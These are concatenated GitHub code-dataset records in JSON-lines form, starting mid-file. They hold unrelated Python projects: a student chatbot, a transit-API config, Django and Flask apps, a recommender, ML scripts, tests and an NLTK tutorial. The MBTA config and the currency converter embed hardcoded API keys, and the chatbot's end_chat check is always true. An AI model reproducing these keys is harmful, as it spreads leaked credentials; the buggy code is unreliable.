own\ndef prepare_text(input_string):\n \"\"\"\n Given an input string, this function will make a new, temporary string that first puts the string in a lower case. Then,\n I wish to remove all punctuation from the temporary string with my function remove_punctuation. Finally I output a new string\n that splits all of the words by using the split method.\n \n Parameters\n ----------\n input_string : string\n \n Return\n ----------\n out_list : list\n \n \"\"\"\n temp_string = input_string.lower()\n temp_string = remove_punctuation(temp_string)\n out_list = temp_string.split()\n \n return out_list\n#I do not need to add echo in my chatbot. I do not think it applies\n\n# Later on I will create a series of posssible input and output lists, where I will need to respond something given a possible \n# input list\ndef selector(input_list, check_list, return_list):\n \"\"\"\n Given a possible response from a customer, I need to create a loop that will check every word in my input lists, if a word \n provided by the customer is said then I will randomly select an answer from my corresponding output list. If there are no\n words that are said in the the input list, then it will break the conditional.\n \n Parameters\n ----------\n input_list : list\n check_list : list\n return_list : list\n \n Return\n ----------\n output : list\n \"\"\"\n output = None\n for word in input_list:\n if word in check_list:\n output = random.choice(return_list)\n break\n\n return output\n\n# Now I will to make our response somewhat readable by concatenating strings with a separator.\ndef string_concatenator(string1, string2, separator):\n \"\"\"\n The function string concatenator will take strings from our input and make add them together with a seperator in between.\n The seperator will almost always be a space.\n \n Parameters\n ----------\n string1 : string\n string2 : string\n seperator : string\n \n Return\n ----------\n result : string\n \"\"\"\n result = string1 + separator + string2\n \n return result\n\n#Once we have a determined output list from what the customer wants, we need to respond to the customer in a string, to do that\n#I will create a function list_to_string to do so\n\ndef list_to_string(input_list, separator):\n \"\"\"\n Given a list, I first need to first make the output equal to the first element of my input list, which is a string. \n Then, I will loop through the rest of the items in that list. Finally, I will set the output equal to a concatenated string\n of all the itmes in that list using the previous function = string_concatenator.\n \n Parameters\n ----------\n input_list : list\n separator : list\n \n Return\n ----------\n output : string\n \"\"\"\n output = input_list[0]\n for item in input_list[1:]:\n output = string_concatenator(output, item, separator)\n \n return output\n\n#Finally, we will create a simple way to end the chat if the customer no longer wants to buy anything.\n\ndef end_chat(input_list):\n \"\"\"\n Given a list from the customer, I want the chat to end if the customer says any of the string below. To do so, I created \n a function that has a conditional to detect if one of the strings is said. If it is said, then the chat will end. If it \n is not said, then output will return False and keep going.\n \n Parameters\n ----------\n input_list : list\n \n Return\n ----------\n output = boolean\n \"\"\"\n if 'goodbye' or \"im done shopping\" or \"thanks for the help\" or \"quit\" in input_list:\n output = True\n else:\n output = False\n \n return output\n\n\ndef is_in_list(list_one, list_two):\n \"\"\"\n This function loops through all of the elements in list one, and sets up a conditional that ultimitaley finds if the words\n are being said in list two. If it is list the word in list one is in list two it will return True and if not will return \n False.\n \n Parameters\n ----------\n list_one : list\n list_two : list\n \n Return\n ----------\n function will return a boolean\n \"\"\"\n \n for element in list_one:\n if element in list_two:\n return True\n return False\n\ndef find_in_list(list_one, list_two):\n \"\"\"\n This function loops through every element in list one, and if it is in list two then it will return the element itself.\n If it does not find the element then it will result in nothing happening.\n \n Parameters\n ----------\n list_one : list\n list_two : list\n \n Return\n ----------\n function will return a boolean\n \"\"\"\n \n for element in list_one:\n if element in list_two:\n return element\n return None\n\n#Here we are setting up the actual way to chat with the the store.\ndef have_a_chat():\n \"\"\"Main function to run our chatbot.\"\"\"\n \n chat = True\n while chat:\n\n # Get a message from the user\n msg = input('INPUT :\\t')\n out_msg = None\n\n # Check if the input is a question\n question = is_question(msg)\n\n # Prepare the input message\n msg = prepare_text(msg)\n\n # Check for an end msg \n if end_chat(msg):\n out_msg = 'Bye!'\n chat = False\n\n # Check for a selection of topics that we have defined to respond to\n # Here, we will check for a series of topics that we have designed to answer to\n if not out_msg:\n\n # Initialize to collect a list of possible outputs\n outs = []\n\n # Check if the input looks like a greeting, add a greeting output if so\n outs.append(selector(msg, GREETINGS_IN, GREETINGS_OUT))\n \n # Check if the input looks like if they are asking if there is any of the products left\n outs.append(selector(msg, PRODUCTS_IN, PRODUCTS_OUT))\n \n # Check if the input looks like if they are asking if they have any microwaves left\n outs.append(selctor(msg, OUT_OF_STOCK_IN, OUT_OF_STOCK_OUT))\n \n #Here I wish to take in a response from the customer and return the name of the product as well as the description\n # for example : \"what kind of phone is it\" would return the name of the phone with description in the class\n \n #if is_in_list(msg, ASKING_ABOUT_PRODUCT_IN):\n #name = find_in_list(msg, list_of_products)\n #if name = \"what kind of phone is it\":\n #my_phone = find_in_list(phone, list_of_products)\n #outs = my_phone.name + \": \" + my_phone.description\n #if name = \"what kind of tv is it\":\n #my_tv = find_in_list(tv, list_of_products)\n #outs = my_tv.name + \": \" + my_tv.description\n #if name = \"what kind of computer is it\":\n #my_computer = find_in_list(computer, list_of_products)\n #outs = my_computer.name + \": \" + my_comptuer.description\n #if name = \"what kind of microwave is it\":\n #my_microwave = find_in_list(microwave, list_of_products)\n #outs = my_microwave.name + \": \" + my_microwave.description\n #if name = \"what kind of refrigerator is it\":\n #my_refrigerator = find_in_list(refrigerator, list_of_products)\n #outs = my_refrigerator.name + \": \" + my_refrigerator.description\n \n \n # We also might have appended None in some cases, meaning we don't have a reply\n # To deal with this, we are going to randomly select an output from the set of outputs that are not None\n options = list(filter(None, outs))\n if options:\n out_msg = random.choice(options)\n\n # If we don't have an output yet, but the input was a question, return msg related to it being a question\n if not out_msg and question:\n out_msg = QUESTION\n\n # Catch-all to say something if msg not caught & processed so far\n if not out_msg:\n out_msg = UNKNOWN\n\n print('OUTPUT:', out_msg) \n \n \n","repo_name":"brn016/cogs18","sub_path":"18 Projects/Project_anavigat_attempt_2018-12-12-09-48-49_Cogs 18 Final Project (3)/Cogs 18 Final Project/module/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":10717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30440958818","text":"import logging\n\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(message)s', datefmt='%d-%b-%y %H:%M:%S')\nASYNCHRONOUS_NOTIFICATION_ONLY=False\n \n \nCOMMUTERRAIL_PREDICTIONS='https://api-v3.mbta.com/predictions?filter[stop]=place-north&filter[route_type]=2'\n\nSUBWAY_PREDICTIONS='https://api-v3.mbta.com/predictions?filter[stop]=place-north&filter[route_type]=0,1'\n\n\nCOMMUTERRAIL_SCHEDULES='https://api-v3.mbta.com/schedules?filter[stop]=place-north&filter[route_type]=2'\n\nSUBWAY_SCHEDULES='https://api-v3.mbta.com/schedules?filter[stop]=place-north&filter[route_type]=0,1'\n\nTRIPS='https://api-v3.mbta.com/trips/'\n\nVEHICLES='https://api-v3.mbta.com/vehicles/'\n \nSTOPS='https://api-v3.mbta.com/stops/'\n\nPOLLING_INTERVAL=30\n\nPARENT_STATION=\"BNT-0000\"\n\nROUTE_TYPE_PREFIX=\"CR-\"\n\n\nSUBWAY_ROUTE_TYPE_PREFIX=\"prediction-\"\n\n\n\nTRIP_LIFESPAN=120 \n\nSTREAM_URL=\"api-v3.mbta.com\"\n \nAPI_KEY=\"ed3aa4403d454a92933f08747edcadcf\"\n\n\nSTREAM_URL_SUFFIX=\"/predictions/?filter[stop]=place-north&filter[route_type]=2\"\n\n \nPREDICTION_HEADER=\"{\\\"data\\\":[\"\nPREDICTION_TRAILER=\"],\\\"jsonapi\\\":{\\\"version\\\":\\\"1.0\\\"}}\"\n \n","repo_name":"alanpannyc/travel-app","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21338905412","text":"#-*- coding:utf-8 -*-\nimport hashlib\n\nfrom django.db import models\n\n\nclass Vacancy(models.Model):\n url = models.CharField(max_length=100)\n title = models.CharField(max_length=300, null=True, blank=True)\n description = models.TextField(max_length=30)\n checksum = models.TextField(max_length=56)\n\n def save_if_unique(self, *args, **kwargs):\n if self.description:\n self.checksum = hashlib.sha224(self.description.encode('utf-8')).hexdigest()\n if not Vacancy.objects.filter(checksum=self.checksum).exists():\n return super(Vacancy, self).save(*args, **kwargs)\n else:\n return None\n","repo_name":"shchemelevev/vacancy_market_analyzer","sub_path":"vacancy/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5062030075","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Sep 23 11:14:02 2016\r\n\r\n@author: Troy \r\n\"\"\"\r\n\r\nfrom scipy.sparse import csr_matrix\r\nfrom scipy.io import mmread\r\n\r\ndef load_items(filename): #读取商品及下标对应数据\r\n df=open(filename)\r\n items=dict() #下标为值 产品为值字典\r\n items_reverse=dict() #产品为键 下标为值字典\r\n for line in df.readlines():\r\n line=line.strip().split('\\t')\r\n items[int(line[0])]=line[1] #此处商品下标对应字典中 需要将键值从字符串形式转换为整形,以便后续找对应产品时键值数据类型一致\r\n items_reverse[line[1]]=int(line[0])\r\n df.close()\r\n return items,items_reverse\r\n \r\ndef load_visit_sparse_matrix(filename): #读取用户访问行为对应稀疏矩阵\r\n data=mmread(filename)\r\n data=csr_matrix(data)\r\n return data\r\n\r\n \r\nclass Recommender(): #推荐函数类 类型命名切记下划线使用\r\n def __init__(self,items_filename,visit_filename): #构造推荐类,输入为产品及下标对应文件和历史访客访问记录文件(稀疏矩阵)\r\n self.items,self.items_reverse=load_items(items_filename) #下标为键 产品位值 字典 和产品为键 下标为值字典\r\n self.visit_sparse_matrix=load_visit_sparse_matrix(visit_filename) #历史访问行为稀疏矩阵\r\n\r\n def similarity(self,visit_vector,reco_numble,Distance='Jaccard Distance',method='UBCF'): #计算相关性,输入为一个横向量:一个用户的访问稀疏向量 或者一个产品的URL \r\n if Distance=='Jaccard Distance':\r\n if method=='UBCF':\r\n distance_list=[0 for i in range(self.visit_sparse_matrix.shape[0])] #切记初始化没有设置空间 后续赋值就不能索引 只能append\r\n for i in range(self.visit_sparse_matrix.shape[0]): #分解计算新用户与历史用户浏览行为的杰卡德距离 : q/(q+r+p) q+r+p=两用户所有浏览产品总和 - 公共浏览页面总和\r\n distance_list[i]=(self.visit_sparse_matrix[i].dot(visit_vector.T).todense()[0,0])/(len(visit_vector.nonzero()[0])+len(self.visit_sparse_matrix[i].nonzero()[0])-self.visit_sparse_matrix[i].dot(visit_vector.T).todense()[0,0]) #前者巧妙通过两个稀疏向量点积和得到公共浏览页面总和!\r\n #此处取[0,0]是为了取矩阵乘积后唯一的一个元素 下标为0,0\r\n max_similarity=[]\r\n similarity_degree=[]\r\n for i in range(reco_numble): #计算相似度排名前n的用户\r\n while max(distance_list)==1: #首先将相似度为1 的去掉,因为他们完全一样 没推荐价值\r\n distance_list[distance_list.index(1)]=0\r\n max_similarity.append(distance_list.index(max(distance_list)))\r\n similarity_degree.append(max(distance_list))\r\n distance_list[distance_list.index(max(distance_list))]=0\r\n return max_similarity,similarity_degree\r\n if method=='PBCF':\r\n \r\n \r\n return\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n #函数返回值为排在前n个的相似性用户或者产品下标 \r\n \r\n \r\n def recommender_new_user(self,user_visit, method='UBCF',reco_numble=2,Distance='Jaccard Distance'): #推荐函数,输入为新用户访问产品名称记录列表,推荐方法(默认为基于用户),推荐产品个数或者基于多少个用户推荐\r\n recommend_product_dict=dict() \r\n recommend_product_list=[]\r\n if method=='UBCF' and isinstance(user_visit,list): #判断方法为基于用户 且输入为用户访问记录列表才执行\r\n user_visit_dict=dict()\r\n row,col,data=[],[],[] #构建用户访问系数矩阵\r\n max_similarity_user=[] #最大相似性的用户列表,个数基于reco_numble而定\r\n for item in user_visit:\r\n if isinstance(item,str):\r\n if item not in self.items_reverse:\r\n continue #如果用户访问记录中产品不存在于历史训练字典中 则自动过滤\r\n row.append(0);\r\n col.append(int(self.items_reverse[item])) #讲访问产品对应下标列置为1 代表访问\r\n data.append(1)\r\n user_visit_dict[item]=1\r\n elif isinstance(item,int):\r\n if item not in self.items:\r\n continue #如果用户访问记录中产品不存在于历史训练字典中 则自动过滤\r\n row.append(0);\r\n col.append(item) #讲访问产品对应下标列置为1 代表访问\r\n data.append(1)\r\n user_visit_dict[self.items[item]]=1\r\n user_sparse_visit=csr_matrix((data,(row,col)),shape=(1,len(self.items.keys()))) #构建访问稀疏一维向量,维度为历史产品数总数(为了后续计算相似性时维度一致)\r\n max_similarity_user,max_similarity_degree=self.similarity(user_sparse_visit,reco_numble,Distance,method) #获得相关用户序号 进行后续推荐\r\n \r\n \r\n for i in range(reco_numble): \r\n trainning_user_dict=dict() #需要推荐的用户字典\r\n for row,col in zip(self.visit_sparse_matrix[max_similarity_user[i]].nonzero()[0],self.visit_sparse_matrix[max_similarity_user[i]].nonzero()[1]): #此时循环选择的是该用户稀疏向量中的不为零的 列下标 行下表恒为0, .nonzero() 返回两个数组\r\n trainning_user_dict[str(self.items[col])]=1 #获得相似度大的历史用户访问记录字典\r\n for item in trainning_user_dict:\r\n if item not in user_visit_dict:\r\n recommend_product_dict[item]=1\r\n for item in recommend_product_dict:\r\n recommend_product_list.append(item)\r\n print (\"Method=%s\\nUser_similarity:\" %(method))\r\n for i in max_similarity_degree:\r\n print(i,end=' ')\r\n print()\r\n for item,i in zip(recommend_product_list,range(5)): #i条件控制最多推荐5个产品\r\n print(item,end=' ')\r\n return\r\n \r\n \r\n elif method=='PBCF' and isinstance(user_visit,str): #判断方法为基于产品的推荐,且输入的为一个产品名称 才执行后续\r\n pass\r\n \r\n \r\n \r\n else:\r\n print (\"This method has not been developed, We will perfect the algorithm in the future!\")\r\n return \r\n \r\n \r\n \r\nif __name__=='__main__':\r\n reco=Recommender('items_numble.txt','visit_sparse_matrix.mtx') \r\n reco.recommender_new_user([154])\r\n #reco.recommender_new_user(['http://www.ehaier.com/product/comment/9667.html','http://www.ehaier.com/product/9667.html?ebi=ref-se-1-1'],reco_numble=3)\r\n \r\n","repo_name":"lixiongbiao/RecommendeAlgorithm","sub_path":"Recommender.py","file_name":"Recommender.py","file_ext":"py","file_size_in_byte":7319,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42536947321","text":"from transformers import pipeline\n\n\n# pipeline() is used across many tasks like text classification,\n# text generation \n\n\n# here we are training it for sentiment analysis\n\n\nclassifier = pipeline(\"sentiment-analysis\")\n\nresult = classifier(\"I am happy\")\nprint(result)\n\n","repo_name":"Snerdify/Hugging-Face-CodeBase","sub_path":"myenv/sentanalysis.py","file_name":"sentanalysis.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14595691354","text":"from flask import Flask, render_template, request, jsonify\nimport os, requests\n\napp = Flask(__name__)\napikey = (\"df63a18c1b1fbb8e020b75bb6db79f1a\")\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n@app.route(\"/convert\", methods=[\"POST\"])\ndef convert():\n # similar to lecture 4 currency 2.py.\n\n # qurey for currency exchange rate.\n currency = request.form.get(\"currency\") # user input currency from html.\n res = requests.get(\"http://data.fixer.io/api/latest\", params={\n \"access_key\": apikey, \"base\": \"EUR\", \"symbols\": currency}) # parameterizing the url.\n # make sure request succeeded.\n if res.status_code !=200:\n return jsonify({\"success\": False}) # telling user. lot like api of our own.\n\n # make sure currency is in response.\n data = res.json() # convert the json data from the response.\n if data['success'] == False:\n return jsonify({\"success\": False})\n\n if currency not in data[\"rates\"]: # not found in the response list of the rates.\n return jsonify({\"success\": False})\n\n # the way we get the api is this. so our code needs to be like this.\n return jsonify({\"success\":True, \"rate\": data[\"rates\"] [currency]}) # sending us as a json obj.\n","repo_name":"towfiq046/lecture5","sub_path":"convert/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6971542714","text":"# # while1\n# inp = 1\n\n# while inp <= 10:\n# inp = int(input(\"masukkan angka : \"))\n# if inp <= 10:\n# print(\"lagi\")\n# elif inp >= 11:\n# print(\"Berhenti\")\n\n# # while2\n# while True:\n# inp = input(\"Masukkan Hewan : \")\n# if inp == 'Gorila' :\n# break\n\n# while3\nbuah =['Nanas','apel','mangga', 'jeruk', 'jambu']\nwhile len(buah) != 0:\n print(buah)\n buah.pop()","repo_name":"tumdelonge/looping_py-01","sub_path":"cobacoba.py","file_name":"cobacoba.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23565324321","text":"import sys\n\n\ndef ninify(start, n):\n n[start:] = [9] * (len(n) - start)\n\n\ndef solve(n: list):\n init = ''.join(map(str, n))\n last = 10\n\n for i in range(len(n)-1, -1, -1):\n if n[i] > last:\n n[i] -= 1\n ninify(i + 1, n)\n last = n[i]\n\n for i in range(len(n)):\n if n[i] == 0:\n n = n[1:]\n else:\n break\n result = ''.join(map(str, n))\n print(f'> {init}\\n {result}\\n', file=sys.stderr)\n return result\n\n\ndef save(i, result):\n print(f'Case #{i}: {result}')\n\n\ndef main():\n t = int(input())\n for i in range(t):\n result = solve([int(n) for n in input()])\n save(i+1, result)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/763.py","file_name":"763.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36431728696","text":"from django.core.cache import cache\nfrom django.utils.deprecation import MiddlewareMixin\nfrom threading import local\n\nfrom users.models import UserProfile,Company\n\n_thread_locals = local()\ndef get_current_user(num=True):\n return getattr(_thread_locals, 'user', 1 if num else UserProfile.objects.get(pk=1))\ndef get_current_request():\n return getattr(_thread_locals, 'request', None)\n\ndef get_current_company(num=True):\n user=getattr(_thread_locals, 'user',1)\n if isinstance(user,UserProfile):\n return user.company\n return 1 if num else Company.objects.get(pk=1)\n\nclass ZxMiddleware(MiddlewareMixin):\n\n def process_request(self, request):\n user=request.user\n if not user.id:return None\n #设置当前线程的user对象\n _thread_locals.user = user\n _thread_locals.request=request\n #获取最新索引信息\n online_users_name=self.get_online_users_name()\n cache.set(user.username,user.__str__(),60*15)#不用if判定,每次访问都默认往后延15分钟\n if user.username not in online_users_name:\n #如果遇到新用户登陆,更新一下索引\n online_users_name.append(user.username)\n cache.set(\"online_users_name\", online_users_name)\n\n def get_online_users_name(self):\n online_users = cache.get_many(cache.get(\"online_users_name\", [])).keys()\n return list(online_users)\n\ndef get_onlie_users():\n return list(cache.get_many(cache.get(\"online_users_name\", [])).values())","repo_name":"htyangya/scwork","sub_path":"common/middlewares.py","file_name":"middlewares.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19956726855","text":"import numpy as np\n\nfrom sklearn.metrics import accuracy_score\n\nfrom sklearn.feature_selection import chi2\nfrom sklearn.feature_selection import SelectKBest\n\nfrom sklearn.svm import SVC\n\nimport sys\n\n\ndef read_data(data_dir):\n f = open(data_dir)\n data_list = f.readlines()\n return data_list\n\ndef fs_SelectKBest(train_X, train_y, feature_num):\n\ttrain_X_new = SelectKBest(chi2, k=feature_num).fit(train_X, train_y)\n\ttop_k_idx = np.argsort(train_X_new.scores_.tolist())[-feature_num:]\n\t\n\treturn top_k_idx\n\ndef obtain_data(train_file, test_file, feature_idx):\t\n\ttrain_X = []\n\ttrain_y = []\n\ttrain_data = read_data(train_file)\n\tfor i in range(len(train_data)):\n\t\tline = train_data[i].strip('\\n').split(',')\n\t\ttrain_y.append(int(line[len(line) - 1]))\n\t\ttmp = []\n\t\tfor j in range(len(feature_idx)):\n\t\t\ttmp.append(float(line[feature_idx[j]]))\n\t\ttrain_X.append(tmp)\n\t\t\n\ttest_X = []\n\ttest_y = []\n\ttest_data = read_data(test_file)\n\tfor i in range(len(test_data)):\n\t\tline = test_data[i].strip('\\n').split(',')\n\t\ttest_y.append(int(line[len(line) - 1]))\n\t\ttmp = []\n\t\tfor j in range(len(feature_idx)):\n\t\t\ttmp.append(float(line[feature_idx[j]]))\n\t\ttest_X.append(tmp)\n\t\n\treturn np.array(train_X), train_y, np.array(test_X), test_y\n\t\ndef SVM(train_X, train_y, test_X, test_y):\n\tclf = SVC(kernel = 'linear', gamma='auto')\n\tclf.fit(train_X, train_y)\n\tpredict = clf.predict(test_X)\n\tacc = accuracy_score(test_y, predict.tolist())\n\t\t\n\treturn predict, acc\n\ndef feature_selection(train_file, feature_num):\t\n\ttrain_data = read_data(train_file)\n\ttrain_X = []\n\ttrain_y = []\n\tfor i in range(len(train_data)):\n\t\tline = train_data[i].strip('\\n').split(',')\n\t\ttrain_y.append(int(line[len(line) - 1]))\n\t\ttmp = []\n\t\tfor j in range(0, len(line) - 1):\n\t\t\ttmp.append(float(line[j]))\n\t\ttrain_X.append(tmp)\t\n\tfeature_idx_SelectKBest = fs_SelectKBest(train_X, train_y, feature_num) \t\n\t\n\treturn feature_idx_SelectKBest\n\t \nif __name__ == \"__main__\":\n\n\tdata = read_data(\"pima-indians-diabetes.csv\")\n\t\n\tratio = 0.8\n\ttrain = open('train.txt', 'w')\n\tfor i in range(int(ratio * len(data))):\n\t\ttrain.write(data[i])\n\ttrain.close()\n\t\n\ttest = open('test.txt', 'w')\n\tfor i in range(int(ratio * len(data)), len(data)):\n\t\ttest.write(data[i])\n\ttest.close()\n\n\t#Feature selection with chi2 methods\n\tfeature_idx = feature_selection(\"train.txt\", 3)\n\tprint('Index of selected features:', feature_idx)\n\t\n\t#Build new data for training and testing with selected features \"feature_idx\"\n\ttrain_X, train_y, test_X, test_y = obtain_data(\"train.txt\", \"test.txt\", feature_idx)\n\t\n\t#Using logistic regression to complete classification and evaluation\n\tpredict, acc = SVM(train_X, train_y, test_X, test_y)\n\tprint(\"Prediction accuracy is \", acc)\n\t\t\n\t","repo_name":"BruceDong/Python-Tutorial-2019-CREDIT-PV","sub_path":"SampleCode&Data/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34699699634","text":"import os\nfrom distutils.core import setup\n\n\ndef read(fname):\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\nsetup(\n name='smstools',\n version='0.1.0',\n description='Universal SMS conversion tool',\n long_description=read('README.rst'),\n author='Tim O\\'Brien',\n author_email='timo@t413.com',\n packages=['smstools', 'smstools.tests'],\n scripts=['bin/smstools'],\n url='https://github.com/t413/SMS-Tools',\n license='CC BY-NC-SA 3.0 US',\n install_requires=['unicodecsv>=0.9.3'],\n)\n","repo_name":"sebbrandt87/SMS-Tools","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"13350891234","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\nimport h2o\nimport numpy as np\nfrom h2o.frame import H2OFrame\nfrom tests import pyunit_utils\n\n\ndef col_names_check():\n iris_wheader = h2o.import_file(pyunit_utils.locate(\"smalldata/iris/iris_wheader.csv\"))\n expected_names = [\"sepal_len\", \"sepal_wid\", \"petal_len\", \"petal_wid\", \"class\"]\n assert iris_wheader.col_names == expected_names, \\\n \"Expected {0} for column names but got {1}\".format(expected_names, iris_wheader.col_names)\n\n iris = h2o.import_file(pyunit_utils.locate(\"smalldata/iris/iris.csv\"))\n expected_names = [\"C1\", \"C2\", \"C3\", \"C4\", \"C5\"]\n assert iris.col_names == expected_names, \\\n \"Expected {0} for column names but got {1}\".format(expected_names, iris.col_names)\n\n df = H2OFrame.from_python(np.random.randn(100, 4).tolist(), column_names=list(\"ABCD\"), column_types=[\"enum\"] * 4)\n df.head()\n expected_names = list(\"ABCD\")\n assert df.col_names == expected_names, \\\n \"Expected {} for column names but got {}\".format(expected_names, df.col_names)\n assert list(df.types.values()) == [\"enum\"] * 4, \\\n \"Expected {} for column types but got {}\".format([\"enum\"] * 4, df.types)\n\n df = H2OFrame(np.random.randn(100, 4).tolist())\n df.head()\n expected_names = [\"C1\", \"C2\", \"C3\", \"C4\"]\n assert df.col_names == expected_names, \\\n \"Expected {} for column names but got {}\".format(expected_names, df.col_names)\n assert list(df.types.values()) == [\"real\"] * 4, \\\n \"Expected {} for column types but got {}\".format([\"real\"] * 4, df.types)\n\n df = H2OFrame({'B': ['a', 'a', 'b', 'NA', 'NA']})\n df.head()\n assert df.col_names == [\"B\"], \"Expected {} for column names but got {}\".format([\"B\"], df.col_names)\n\n df = H2OFrame.from_python({'B': ['a', 'a', 'b', 'NA', 'NA']}, column_names=[\"X\"])\n df.head()\n assert df.col_names == [\"X\"], \"Expected {} for column names but got {}\".format([\"X\"], df.col_names)\n\n\nif __name__ == \"__main__\":\n pyunit_utils.standalone_test(col_names_check)\nelse:\n col_names_check()\n","repo_name":"h2oai/h2o-3","sub_path":"h2o-py/tests/testdir_misc/pyunit_colnames.py","file_name":"pyunit_colnames.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","stars":6553,"dataset":"github-code","pt":"61"} +{"seq_id":"24571346603","text":"from aiogram import types\nfrom aiogram.dispatcher import FSMContext\n\nfrom loader import dp\n\n\n@dp.message_handler(text_contains='docs', state='*')\nasync def docs_pr(message: types.Message, state: FSMContext):\n await state.finish()\n text = (\"Список документов: \",\n \"Пользовательское Соглашение:\",\n \"https://telegra.ph/Polzovatelskoe-soglashenie-09-23-3\",\n \"\",\n \"FAQ:\",\n \"https://telegra.ph/Pomoshch-nuzhna-09-08\",\n \"\")\n await message.answer(\"\\n\".join(text))","repo_name":"Badmajor/FCS","sub_path":"handlers/users/docs.py","file_name":"docs.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30378090887","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun 18 12:06:37 2021\r\n\r\n@author: Asus\r\n\"\"\"\r\nimport nltk\r\nfrom nltk.corpus import gutenberg\r\n\r\n# nltk.corpus.gutenberg.fileids() # to see what corpus are in this library\r\n\r\nemma = gutenberg.words('austen-emma.txt') # Here we set Emma, from Austen, to this variable\r\n\r\n# Here we print some general information about all the corpus in this corpora\t\r\nfor fileid in gutenberg.fileids():\r\n num_chars = len(gutenberg.raw(fileid))\r\n num_words = len(gutenberg.words(fileid))\r\n num_sents = len(gutenberg.sents(fileid))\r\n num_vocab = len(set(w.lower() for w in gutenberg.words(fileid)))\r\n print(\"The corpus {} has {} characters per word, {} words per sentence, and each word appears {} times on average\\n\".format(\r\n fileid, round(num_chars/num_words), round(num_words/num_sents), round(num_words/num_vocab)))\r\n\r\n# We can select only sentences:\r\nmacbeth_sentences = gutenberg.sents('shakespeare-macbeth.txt')\r\nprint(macbeth_sentences)\r\nlongest_len = max(len(s) for s in macbeth_sentences)\r\nprint([s for s in macbeth_sentences if len(s) == longest_len]) # longest sentences\r\n\r\n# There are also more informal texts (Firefox discussion forum, conversations overheard in New York, the movie script of Pirates of the Carribean, \r\n# personal advertisements, and wine reviews)\r\nfrom nltk.corpus import webtext\r\nfor fileid in webtext.fileids():\r\n print(fileid, webtext.raw(fileid)[:65], '...')\r\n\r\n# Or a corpus of instant messaging chat sessions, originally collected by the Naval Postgraduate School for research on automatic detection of Internet predators\r\nfrom nltk.corpus import nps_chat\r\nchatroom = nps_chat.posts('10-19-20s_706posts.xml')\r\nchatroom[123]\r\n\r\n# Or the Brown Corpus, which contains text from 500 sources, and the sources have been categorized by genre, such as news, editorial, and so on.\r\nfrom nltk.corpus import brown\r\nbrown.categories()\r\nnews_text = brown.words(categories='news')\r\n\r\n# This corpora is really useful to compare texts depending on its style (stylistics)\r\nfdist = nltk.FreqDist(w.lower() for w in news_text)\r\nmodals = ['can', 'could', 'may', 'might', 'must', 'will']\r\nfor m in modals:\r\n print(m + ':', fdist[m], end=' ')\r\n\r\n# And for the 'wh' words (what, when, who, where, why) and the category of mystery for example:\r\nmystery_text = brown.words(categories='mystery')\r\nfdist = nltk.FreqDist(w.lower() for w in mystery_text)\r\nwh = ['what', 'when', 'where', 'who', 'why']\r\nfor m in wh:\r\n print(m + ':', fdist[m], end=' ')\r\n\r\n# A conditional frequency distribution is a collection of frequency distributions, each one for a different \"condition\". The condition will often be the\r\n# category of the text. Whereas FreqDist() takes a simple list as input, ConditionalFreqDist() takes a list of pairs.\r\n# For each genre [2], we loop over every word in the genre [3], producing pairs consisting of the genre and the word [1]:\r\n\r\n# Now, we obtain counts for each genre of interest\r\ncfd = nltk.ConditionalFreqDist(\r\n (genre, word) # [1]\r\n for genre in brown.categories() # [2]\r\n for word in brown.words(categories=genre)) # [3]\r\n\r\n# A ConditionalFreqDist provides some useful methods for tabulation and plotting. In the plot() and tabulate() methods, we can optionally specify which \r\n# conditions to display with a conditions=parameter, when we omit it, we get all the conditions (plot). Similarly, we can limit the samples to display with a \r\n# samples= parameter:\r\n # TABULATING: creating tables\r\ngenres = ['news', 'religion', 'hobbies', 'science_fiction', 'romance', 'humor']\r\nmodals = ['can', 'could', 'may', 'might', 'must', 'will']\r\ncfd.tabulate(conditions=genres, samples=modals)\r\ncfd.tabulate(conditions=genres, samples=wh)\r\n\r\n # PLOTTING\r\n# We also have texts from the inaugural address corpus\r\nfrom nltk.corpus import inaugural\r\ncfd = nltk.ConditionalFreqDist(\r\n (target, fileid[:4]) # the first four elements of fileids are the years\r\n for fileid in inaugural.fileids()\r\n for w in inaugural.words(fileid)\r\n for target in ['america', 